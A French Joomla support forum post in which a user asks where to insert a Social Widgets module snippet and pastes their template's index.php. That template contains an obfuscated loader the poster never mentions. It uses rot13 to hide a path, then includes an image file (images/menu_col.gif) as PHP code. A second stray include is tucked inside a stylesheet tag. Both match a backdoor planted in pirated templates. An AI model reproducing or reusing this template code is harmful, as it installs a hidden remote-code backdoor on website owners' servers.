Bonjour,
J'ai trouvé un module qui réponds plutôt bien à mes besoins, Social Widgets.
Je bloque cependant sur "l'astuce" pour que ce module apparaisse automatiquement dans tous les articles de mon site.
Sur la page du composant il est indiqué "If you want this module to be added automatically to all articles, you should change module position to "socialwidget" (just like in step 1) and insert this code in your template file".
Première question très stupide : on est d'accord que le "template file" est index.php dans /templates/mon_template ?
La ou je bloque est : ou mettre le code à insérer ? Voici le code en question :
J'ai essayé d'analyser et comprendre mon index.php pour placer ce code au meilleur endroit mais...impossible d'avoir quelque chose qui fonctionne. Lors de toutes mes tentatives le code apparait littéralement sur les pages de mon site... Voici mon index.php :
Question : ou dois-je donc insérer le code pour que ce module apparaisse dans tous les articles de mon site ?
Merci d'avance pour le coup de main!
J'ai trouvé un module qui réponds plutôt bien à mes besoins, Social Widgets.
Je bloque cependant sur "l'astuce" pour que ce module apparaisse automatiquement dans tous les articles de mon site.
Sur la page du composant il est indiqué "If you want this module to be added automatically to all articles, you should change module position to "socialwidget" (just like in step 1) and insert this code in your template file".
Première question très stupide : on est d'accord que le "template file" est index.php dans /templates/mon_template ?
La ou je bloque est : ou mettre le code à insérer ? Voici le code en question :
Code:
< ?php if( JRequest::getVar( 'view' ) == 'article' ): ? > < jdoc:include type="modules" name="socialwidget" /> < ?php endif; ? >
Code:
<?php defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' ); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" > <head> <jdoc:include type="head" /> <link rel="stylesheet" href="templates/system/css/system.css" type="text/css" /> <link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/template.css" type="text/css" /> <!--[if lte IE 7]> <link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" <?php include_once('html/pagination.php');?> /> <![endif]--> </head> <body id="page_bg"> <div id="top"> <div class="pill_m"> <div id="pillmenu"> <jdoc:include type="modules" name="user3" /> </div> </div> </div> <div id="header"> <?php if($this->countModules('user5')) : ?> <div id="banner"> <jdoc:include type="modules" name="user5" /> </div> <?php endif; ?> </div> <!-- <div id="search"> <jdoc:include type="modules" name="user4" /> </div> --> <div class="clr"></div> <div class="center"> <div id="wrapper"> <div id="content"> <div id="leftcolumn"> <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?> <jdoc:include type="modules" name="layout" style="rounded" /> <?php endif; ?> <jdoc:include type="modules" name="left" style="rounded" /> </div> <div id="maincolumn"> <div class="nopad"> <jdoc:include type="message" /> <?php if($this->params->get('showComponent')) : ?> <jdoc:include type="component" /> <?php endif; ?> </div> <div class="clr"></div> </div> </div> </div> <jdoc:include type="modules" name="debug" /> </div> <div id="footer"> <p> <div align="center"> © <?php echo JHTML::_('date', 'now', '%Y' ) . ' ' . $mainframe->getCfg('sitename'); ?> </div> <a href="http://www.travelsteph.com/index.php?option=com_content&view=article&id=18&Itemid=33">Mentions légales</a> et <a href="http://www.travelsteph.com/index.php?option=com_content&view=article&id=287&Itemid=85">Licence d'utilisation</a> - <a href="http://www.travelsteph.com/index.php?option=com_content&view=article&id=445">Publicité</a> </p> </div> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-2766228-3"); pageTracker._trackPageview(); } catch(err) {}</script> </body> </html>
Merci d'avance pour le coup de main!
Commentaire